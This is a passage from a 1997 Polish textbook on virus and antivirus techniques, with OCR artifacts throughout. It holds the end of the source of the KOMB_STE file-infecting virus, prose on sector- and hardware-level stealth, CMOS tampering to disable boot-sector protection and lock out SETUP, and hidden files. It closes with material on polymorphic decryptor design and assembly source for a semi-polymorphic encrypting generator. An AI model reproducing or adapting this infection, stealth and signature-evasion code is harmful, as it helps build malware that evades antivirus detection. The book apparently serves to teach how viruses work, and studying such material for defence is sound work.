    ret                                    ; powroc z wywolania 
 
UstawNowe24: 
    push  ds es ax bx dx                   ; zachowaj zmieniane rejestry 
 
    mov   ax,3524h                         ; \     pobierz stara i ustaw 
    Call  StareInt21                       ;  \    nowa procedure obslugi 
    mov   cs:Stare24Seg,es                 ;   \   przerwania krytycznego 
    mov   cs:Stare24Ofs,bx                 ;    \  INT 24h w celu ochrony 
                                           ;     \ przed ewentulanymi bledami 
    push  cs                               ;     / (np; podczas proby zapisu 
    pop   ds                               ;    /   na zabezpieczona przed 
    lea   dx,NoweInt24                     ;   /    zapisem dyskietce nie 
    mov   ax,2524h                         ;  /     zostanie wywolany dialog 
    Call  StareInt21                       ; /      ARIF) 
 
    pop   dx bx ax es ds                   ; przywroc zmieniane rejestry 
 

background image

    ret                                    ; powroc z wywolania 
 
 
PrzywrocStare24: 
    push  ds ax dx                         ; zachowaj zmieniane rejestry 
 
    lds   dx,dword ptr cs:Stare24Ofs       ; \  przywroc stare przerwanie 
    mov   ax,2524h                         ;  - INT 24 
    Call  StareInt21                       ; / 
 
    pop   dx ax ds                         ; przywroc zmieniane rejestry 
 
    ret 
 
DrukSI:                                    ; procedura wyswietla tekst z 
                                           ; CS:[DI+SI] 
    add   di,si                            ; tekst w DI, dodaj SI 
Druk:                                      ; procedura wyswietla tekst z 
                                           ; CS:[DI] 
    push  ax di                            ; zachowaj zmieniane rejestry 
 
DrukPetla: 
    mov   al,[di]                          ; pobierz znak 
    or    al,al                            ; czy koniec tekstu (znak=NUL) ? 
    jz    DrukPowrot                       ; TAK - koncz pisanie 
 
    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak 
    int   10h                              ; wywolaj funkcje 
 
    inc   di                               ; zwieksz indeks (na nastepny znak) 
 
    jmp   short DrukPetla                  ; idz po nastepny znak 
 
DrukPowrot: 
    pop   di ax                            ; przywroc zmieniane rejestry 
 
    ret                                    ; powrot 
 
DrukHEX16:                                 ; drukuje liczbe heksalna z AX 
    push  ax                               ; zachowaj AX (dokladniej AL) 
    mov   al,ah                            ; najpierw starsza czesc 

background image

    Call  DrukHex8                         ; wyswietl AH 
    pop   ax                               ; przywroc AX (dokladniej AL) 
                                           ; i wyswietl AL 
DrukHex8:                                  ; drukuje liczbe heksalna z AL 
    push  ax                               ; zachowaj AX (dokladniej 4 bity AL) 
    shr   al,1                             ; \ 
    shr   al,1                             ;  \ podziel AL przez 16 
    shr   al,1                             ;  / czyli wez 4 starsze bity AL 
    shr   al,1                             ; / 
    Call  DrukHex4                         ; i wydrukuj czesc liczby 
szesnastkowej 
    pop   ax                               ; przywroc AX (dokladniej 4 bity AL) 
    and   al,15                            ; wez 4 mlodsze bity AL 
                                           ; i wydrukuj czesc liczby 
szesnastkowej 
DrukHex4: 
    cmp   al,10                            ; \   konwersja liczby binarnej 
    jb    Cyfra09                          ;  \  na znak 
    add   al,'A'-'0'-10                    ;   - 00..09, 0Ah..0Fh na 
Cyfra09:                                   ;  /  '0'..'9', 'A'..'F' 
    add   al,'0'                           ; / 
 
    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak 
    int   10h                              ; wywolaj funkcje 
 
    ret                                    ; powrot 
 
Decyzja:                                   ; \     pobiera z klawiatury 
    mov   ah,0h                            ;  \    znak i sprawdza czy jest 
    int   16h                              ;   \   to litera 'T'lub 't' 
    and   al,0DFh                          ;    \  jesli tak, ustawia CF=0 
    cmp   al,'T'                           ;     \ jesli nie, ustawia CF=1 
    clc                                    ;     / 
    je    DecyzjaTak                       ;    / 
    stc                                    ;   / 
DecyzjaTak:                                ;  / 
    ret                                    ; / 
 
NoweInt24:                                 ; 
    mov   al,3                             ; sygnalizuj CF=1, gdy dowolny blad 
                                           ; nie wywoluj ARIF 

background image

    iret                                   ; powrot z przerwania 
 
  TeCopyRight        db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL 
  TeInstalacja       db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej 
(T/N) ?',NUL 
  TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL 
  TeZainstalowany    db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL 
  TeZnalazlemPlik    db CR,LF,'_ Znalazlem plik : "',NUL 
  TeInfekcja         db '"',CR,LF,'  Czy chcesz sprobowac zainfekowac go wirusem 
KOMB_STE (T/N) ?',NUL 
 
     StareBajty db 0CDh,20h,90h 
     Skok       db 0E9h 
KoniecWirusa: 
 
     Skok2      dw ? 
     StaryDS    dw ? 
     StaryDX    dw ? 
     Atrybut    db ? 
     Czas       dw ? 
     Stare24Ofs dw ? 
     Stare24Seg dw ? 
 
KOMB_STE ends 
end start 
 
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; 
należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby 
odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu 
ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory 
zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). 
Aby u

strzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub 

BOOT-

sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed 

zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13). 
 
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań 
sprzętowych (ang. hardware level stealth

W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level 
stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta 
polega na przec

hwyceniu odwołań do dysków już na etapie przerwania sprzętowego 

IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji 
(9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- 

background image

Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o 
aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, 
zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość 
MBR. 
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 
(rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich 
jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja 
odczytu. Parametry odczytywanego sekt

ora (cylinder, głowicę, sektor) można odczytać z 

portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi 
wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny 
sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora). 
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego 
adresu przerwania int 13h, zawartego w BIOS-

ie, i tak będzie oszukiwany przez wirusa. 

Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 
(co można ustawić programowo) przy realizacji operacji dostępu do dysku. 
 
7.2. ModyfikacjaCMOS-a 
Nowoczesne BIOS-

y zawierają mechanizmy zabezpieczania niektórych newralgicznych 

sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do 
któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i 
czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie 
uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET. 
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane 
jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś 
klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. 
Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do 
podtrzymywanej baterią pamięci CMOS. 
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować 
pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak 
znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma 
zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność 
ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest 
kon

ieczne ze względu na kompatybilność). 

Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, 
jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę 
wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował 
załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim 
wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie 
sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, 
po czym oddaje do niego sterowanie. 
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w 
CMOS-

ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera 

parametry w CMOS-

ie będą najczęściej skasowane. Takie działałanie dość mocno 

utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także 
zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi 
dostanie się do programu SETUP. 
 

background image

7.3. Atrybut etykiet dysku (ang. VolumeID
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy 
przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują 
zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają 
do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej 
wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak 
ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących 
na za

wartości fizycznych sektorów (np. Disk Editor). 

Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż 
niewidzialność zagwarantuje sam system DOS. 
 
7.4. Dodatkowe ścieżki na dyskach 
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami 
zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi 
podjąć decyzję, gdzie umieścić wirusa po infekcji. 
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa 
może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na 
początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). 
Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. 
Korzystaj

ąc z tego, iż większość dysków posiada więcej sektorów niż liczba widziana 

przez system BIOS, wirusy doformato-

wywują sobie dodatkowe używane sektory, po 

czym je wykorzystują. 
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia 
nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na 
rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie 
sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto 
rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się 
rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem 
deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się 
MtE, 

który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z 

najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur 
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują 
dwie poniższe procedury: 
> procedura 

generująca szyfrator (ang. encryptor); 

> procedura generująca dekoder (ang. decryptor). 
W zależności od ich skomplikowania można wyróżnić wirusy, które 
zawierają: 
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem 
wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych 
zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w 
przypadku wirusów nieszyfrowanych; 
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany; 
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę 
szyfrującą; 
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, 
dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa; 
> zmienny szyfrator + zmienny dekoder - 

kod wirusa wraz z dekoderem za każdym 

background image

razem wygląda inaczej; są to tzw. wirusy 
polimorficzne 

 

ROZDZIAŁ 8 

 

8.1. Procedury szyfrujące kod 
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, 
odwracalnych operacji matematycznych lub logicznych, a więc: 
> dodawanie - operacja ADD; 
> odejmowanie - operacja SUB; 
> suma modulo 2 - operacja XOR; 
> negowanie arytmetyczne - operacja NEG; 
> negowanie logiczne - operacja NOT; 
> przes

unięcie cykliczne w lewo - operacja ROL; 

> przesunięcie cykliczne w prawo - operacja ROR. 
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na 
przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie 
licznika 

lub indeksu jako wartości używanej w wymienionych wyżej operacjach 

matematycznych i logicznych. 
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy 
wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem 
z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym 
razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze 
zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji 
szyfrujących, a następnie w pętli losuje: 
> rodzaj operacji wykonywanej na argumencie; 
> argumenty operacji; 
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie 
inne). 
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na 
stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder. 
 
8.2. Procedury dekodujące 
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności 
operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych 
zmian operacji, np. ADD-SUB, SUB-

ADD. Na przykład, jeżeli procedura szyfrująca 

wygląda następująco: 
MOV CX, IleBajtˇw  
MOV BX,Pocz╣tekDanychDoZakodowania 
Pŕtla: 
XOR byte ptr [BX],12h 
ADD byte ptr [BX],34h 
NOT byte ptr [BX] 
INC BX 
LOOP Pŕtla, 

background image

to procedura dekodująca powinna wyglądać mniej więcej tak: 
MOV CX, IleBajtˇw  
MOV BX,Pocz╣tekDanychDoZakodowania 
Pŕtla: 
NOT byte ptr [BX] 
SUB byte ptr [BX],34h 
XOR byte ptr [BX],12h 
INC BX 
LOOP Pŕtla. 
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w 
dekoderze (oczywiście można zastosować także operację ADD z przeciwnym 
argumentem, tzn. -

34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym 

razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą 
zawsze zgodne ze schematem (dla poprzedniego przykładu): 
MOV CX,IleBajtˇw  
MOV BX,Pocz╣tekDanychDoZakodowania 
Pŕtla: 
DEKODUJ [BX] DEKODUJ [BX] 
DEKODUJ [BX] 
INC BX 
LOOP Pŕtla, 
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody 
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować 
zmienne, polimorficzne procedury dekodujące. 
 
8.2.1. Polimorficzne procedury dekodujące 
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego 
pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. 
Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych 
procedur dekodujących. 
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie 
wykonywal

nych sekwencji rozkazów), do jego zaprogramowania niezbędna jest 

znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników. 
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu 
przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w 
poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy. 
 
8.2.1.1. Semi-polimorfizm 
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej 
sekwencji: 
MOV licznik, IleDanych  
MOV indeks, Pocz╣tekDanychDoZakodowania 
Pŕtla: 
dekoduj_i [indeks]  

background image

DEKODUJ_2 [indeks] 
DEKODUJ_N [indeks]  
ADD indeks, przyrost 
LOOP Pŕtla 
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. 
Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych 
do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy 
kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich 
stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych 
rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być 
zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych 
wariantów wirusa jest tak naprawdę bardzo ograniczona. 
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na 
stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się 
kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do 
następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego 
problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów 
procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi 
generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR 
(kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??). 
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod 
które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje 
sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w 
rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej 
zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej 
części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami. 
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany 
jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. 
Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, 
gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku 
parametru - 

domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na 

początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie 
procedury Losowy-

Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo 

zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób 
(bez dodawania losowych s

koków pomiędzy instrukcjami). 

 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                       SEMIPOL v1.0, Autor : Adam Blaszczyk 1997            ; 
;                                                                            ; 
;              Program generuje pliki zakodowane semi-polimorficznie         ; 
;              (pomiedzy wlasciwe instrukcje dekodera sa wstawiane           ; 

background image

;               przypadkowe rozkazy JUMP)                                    ; 
; Kompilacja :                                                               ; 
;             TASM  /m2 SEMIPOL.ASM                                          ; 
;             TLINK SEMIPOL.OBJ                                              ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
SEMI_POL SEGMENT 
 
ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL 
 
        NUL   = 00h                     ; \ 
        TAB   = 09h                     ;  \ 
        LF    = 0Ah                     ;   \ stale znakowe 
        CR    = 0Dh                     ;   / 
        SPACE = 20h                     ;  / 
        DOLAR = '$'                     ; / 
 
        RozmiarStosu           equ 200h ; rozmiar stosu 
        DomyslnieIlePlikow      = 10    ; domyslnie generuj 10 plikow 
 
;----------------------------------------------------------------------------- 
Start: 
      Call  InicjujSystem               ; ustaw zmienne programu 
 
      lea   si,TeCopyRight              ; wyswietl info o programie 
      Call  Druk 
 
      Call  WezParametry                ; wez parametry z linii polecen 
 
      lea   si,TeGenerator              ; wyswietl info o dzialaniu 
      Call  Druk 
 
      Call  GenerowaniePlikow           ; generuj pliki 
 
      mov   ax,4C00h                    ; funkcja DOS - powrot do systemu 
      int   21h                         ; wywolaj funkcje 
 
;----------------------------------------------------------------------------- 
GenerowaniePlikow proc near             ; procedura generuje pliki SEMI????.COM 
 
      push ds es ax bx cx dx si di      ; zachowaj na stosie zmieniane rejestry 

background image

 
      mov   cx, LiczbaPlikow            ; cx=ile plikow do wygenerowania 
 
 GenJedenPlik: 
 
      push  cx                          ; zachowaj na stosie : ile plikow 
 
      lea   si,AktualnaNazwaPliku       ; \ wyswietl nazwe pliku 
      Call  DrukLn                      ; / 
 
      lea   dx,AktualnaNazwaPliku       ; sprobuj otworzyc (tworzony) plik 
      mov   ax,3D02h                    ; funkcja DOS - otworz plik 
      int   21h                         ; wywolaj funkcje 
      jnc   WezUchwyt                   ; CF=0 plik juz istnial, nadpisz go 
 
      mov   cx,20h                      ; atrybut pliku tworzonego : Archive 
      lea   dx,AktualnaNazwaPliku       ; podaj nazwe tworzonego pliku 
      mov   ah,5Bh                      ; funkcja DOS - tworz plik 
      int   21h                         ; wywolaj funkcje 
 
WezUchwyt: 
      mov   UchwytPliku,ax              ; zapamietaj uchwyt pliku 
 
 
      lea   si,StartKoduPrzykladowego   ; DS:SI - skad brac kod do szyfrowania 
      lea   di,BuforDocelowy            ; ES:DI - dokad zapisywac zaszyfrowany 
kod 
      mov   cx,RozmiarPrzykladowegoKodu ;    CX - rozmiar szyfrowanego kodu 
      Call  SemiPol 
                                        ; CX:=Ile danych do zapisu 
 
      lea   dx,BuforDocelowy            ; skad zapisac dane 
      mov   bx,UchwytPliku              ; numer uchwytu 
      mov   ah,40h                      ; funkcja DOS - zapisz do pliku 
      int   21h                         ; wywolaj funkcje 
 
      mov   ah,3Eh                      ; funkcja DOS - zamknij plik 
      int   21h                         ; wywolaj funkcje 
 
      Call  ZwiekszNumerPliku           ; SEMI(xxxx) -> SEMI(xxxx+1) 
 

background image

      pop   cx                          ; przywroc ze stosu : ile plikow 
 
      loop  GenJedenPlik                ; generuj CX plikow 
 
      pop   di si dx cx bx ax es ds     ; przywroc ze stosu zmieniane rejestry 
 
      ret                               ; powrot z procedury 
 
GenerowaniePlikow endp 
 
;----------------------------------------------------------------------------- 
ZwiekszNumerPliku proc near             ; zmienia SEMI(xxxx) na SEMI(xxxx+1) 
                                        ; operuje na lancuchu 'SEMIxxxx' 
 
      push  cx si                       ; zachowaj na stosie zmieniane rejestry 
 
      mov   cx,4                        ; CX = ile max. obiegow petli = 4 cyfry 
 
ZwiekszNumerPlikuPetla: 
      mov   si,cx 
      dec   si 
      inc   byte ptr [AktNumPliku+si]   ; zwieksz cyfre od konca w SEMIxxxx 
 
      cmp   byte ptr [AktNumPliku+si],'9' 
                                        ; czy numer > 9 ? 
      jbe   ZwiekszNumerPlikuPowrot     ; nie wiekszy = powrot z procedury 
                                        ; wiekszy = uwzglednij przeniesienie 
      mov   byte ptr [AktNumPliku+si],'0' 
                                        ; cyfra : 9->0 
      loop  ZwiekszNumerPlikuPetla      ; ewentualnie powtarzaj 
 
ZwiekszNumerPlikuPowrot: 
 
      pop   si cx                       ; przywroc ze stosu zmieniane rejestry 
 
      ret                               ; powrot z procedury 
 
ZwiekszNumerPliku endp 
 
;----------------------------------------------------------------------------- 
WezParametry proc near                  ; pobiera parametry z PSP:80h 

background image

 
      push  ds                          ; zachowaj DS 
 
      mov   di,DomyslnieIlePlikow       ; DI=ile plikow wygenerowac 
 
      mov   ds,PSP_Segment              ; DS:=PSP 
      mov   si,80h                      ; DS:SI=PSP:80 
 
      lodsw                             ; DS:SI=PSP:82, AX:=licznik znakow 
      or    al,al                       ; czy sa jakies znaki w linii polecen ? 
      jz    WezParametryPowrot          ; nie = wyjdz z procedury 
 
SzukajCyfry: 
      lodsb                             ; wez znak 
 
      cmp   al,SPACE                    ; \pomin spacje 
      je    SzukajCyfry                 ; / 
 
      cmp   al,TAB                      ; \pomin tabulator 
      je    SzukajCyfry                 ; / 
 
      mov   bx,si                       ; zachowaj pozycje w lancuchu 
 
SzukajCR:                               ; szukaj konca ciagu znakow 
 
      lodsb                             ; wez znak 
 
      cmp   al,CR                       ; czy koniec lancucha ? 
      je    LancuchNaLiczbe             ; tak = konwersja 
 
      cmp   al,SPACE                    ; czy spacja ? 
      je    LancuchNaLiczbe             ; tak = konwersja 
 
      cmp   al,TAB                      ; czy tabulator ? 
      je    LancuchNaLiczbe             ; tak = konwersja 
 
      cmp   al,'0'                      ; \ 
      jb    WezParametryPowrot          ;  \   czy znak w zakresie 
                                        ;   -  '0'..'9' 
      cmp   al,'9'                      ;  /   jezeli nie, to blad 
      ja    WezParametryPowrot          ; / 

background image

 
      jmp   short SzukajCR              ; wez kolejny znak 
 
LancuchNaLiczbe:                        ; konwersja lancucha na liczbe 
 
      mov   cx,si                       ; wez koniec lancucha 
      sub   cx,bx                       ; odejmij poczatek lancucha 
 
      jcxz  WezParametryPowrot          ; skocz, gdy nie ma czego konwertowac 
 
      cmp   cx,4                        ; czy liczba > 9999 ? 
      ja    WezParametryPowrot          ; skocz, jesli tak 
 
      mov   bx,1                        ; BX zawiera kolejne potegi 10 
      xor   di,di                       ; DI zawiera aktualna sume 
 
  LancuchNaLiczbeLoop: 
                                        ; znaki czytamy od konca 
      dec   si                          ; \ SI:=SI-2 
      dec   si                          ; / 
 
      lodsb                             ; pobierz znak 
      sub   al,'0'                      ; konwertuj na liczbe z zakresu 0..9 
 
      mov   ah,0                        ; AX=AL 
      mul   bx                          ; mnoz przez kolejna potege 10 
 
      add   di,ax                       ; dodaj do sumy 
 
      mov   ax,10                       ; zwieksz potege 10 
      mul   bx                          ; pomnoz 10*BX 
 
      xchg  ax,bx                       ; BX:=10 do kolejnej potegi 
                                        ; 1,10,100,1000 
 
      loop  LancuchNaLiczbeLoop         ; konwertuj kolene cyfry 
 
WezParametryPowrot:                     ; DI zawiera liczbe plikow 
 
      pop   ds                          ; przywroc DS ze stosu 
 

background image

      mov LiczbaPlikow,di               ; przepisz do zmiennej 
 
      ret                               ; powrot z procedury 
 
WezParametry endp 
 
;----------------------------------------------------------------------------- 
DrukLn proc near                        ; procedura wyswietla tekst ASCIIZ 
                                        ; spod adresu CS:SI i dodaje Enter 
 
      push  si                          ; SI sie zmienia, trzeba zachowac 
 
      Call  Druk                        ; najpierw wyswietl tekst 
 
      lea   si,TeCRLF                   ; \ a teraz dodaj CR,LF 
      Call  Druk                        ; / 
 
      pop   si                          ; przywroc SI 
 
      ret                               ; powrot z procedury 
 
DrukLn endp 
 
;----------------------------------------------------------------------------- 
Druk proc near                          ; procedura wyswietla tekst ASCIIZ 
                                        ; spod adresu CS:SI 
 
      push ax                           ; \ zachowaj zmieniane rejestry 
      push si                           ; / 
 
DrukNastepnyZnak: 
 
      lods byte ptr cs:[si]             ; wez kolejny znak 
 
      or al,al                          ; czy znak jest zerem 
      jz DrukPowrot                     ; tak=koniec napisu, wyjdz z petli 
 
      Call DrukZnak                     ; jezeli nie, to wyswietl (znak w AL) 
 
      jmp short DrukNastepnyZnak        ; idz po nastepny znak 
 

background image

DrukPowrot:                             ; tekst wydrukowany 
      pop  si                           ; \ przywroc zmieniane rejestry 
      pop  ax                           ; / 
 
      ret                               ; powrot z procedury 
 
Druk endp 
 
;----------------------------------------------------------------------------- 
DrukZnak proc near                      ; procedura wyswietla znak w AL 
 
      push ax                           ; zachowaj zmieniany rejestr 
 
      mov  ah,0Eh                       ; funkcja BIOS - wyswietl znak w AL 
      int  10h                          ; wywolaj funkcje 
 
      pop  ax                           ; przywroc zmieniany rejestr 
 
      ret                               ; powrot z procedury 
 
DrukZnak endp 
 
;----------------------------------------------------------------------------- 
InicjujSystem proc near                 ; ustawia stos, DS, ES itd. 
 
      pop   bp                          ; zachowaj adres powrotu z procedury 
                                        ; bo stos zostanie przeniesiony 
      mov   CS:PSP_Segment,ds           ; zapamietaj PSP 
 
      mov   ax,cs                       ; \ 
      mov   ds,ax                       ;  - CS=DS=ES 
      mov   es,ax                       ; / 
 
      mov   ss,ax                       ; \ stos na koniec programu 
      lea   sp,StosKoniec               ; / 
 
      cld                               ; DF=1, zwiekszaj przy operacjach 
lancuchowych 
 
      jmp   bp                          ; powrot z procedury 
 

background image

InicjujSystem endp 
 
;----------------------------------------------------------------------------- 
SemiPol: 
      push  ax si di                    ; zachowaj na stosie zmieniane rejestry 
 
      shr   cx,1                        ; dlugosc/2 bo szyfrujemy slowa 
      inc   cx                          ; dla pewnosci, ze wszystkie bajty 
zostana 
                                        ; zaszyfrowane 
 
      mov   Semi_IleDanych,cx           ; \ 
      mov   Semi_Skad,si                ;  - zachowaj dane 
      mov   Semi_Dokad,di               ; / 
 
      call  PseudoLosowa                ; wez przypadkowa liczbe 
      mov   Semi_Losowa,ax              ; bedzie jej uzywac szyfrator i 
deszyfrator 
 
                                        ; szyfruj kod 
      lea   di,TMPBufor                 ; gdzie zapisac szyfrowany kod 
  Szyfruj: 
 
      lodsw                             ; wez dana 
 
      add   ax,Semi_Losowa              ; szyfruj ja 
 
      stosw                             ; zapisz zaszyfrowana dana 
 
      loop  Szyfruj                     ; powtarzaj szyfrowanie 
 
 
                                        ; wpisz "smieci" do bufora 
      mov   di,Semi_Dokad               ; bufor docelowy (do zapisu na dysk) 
 
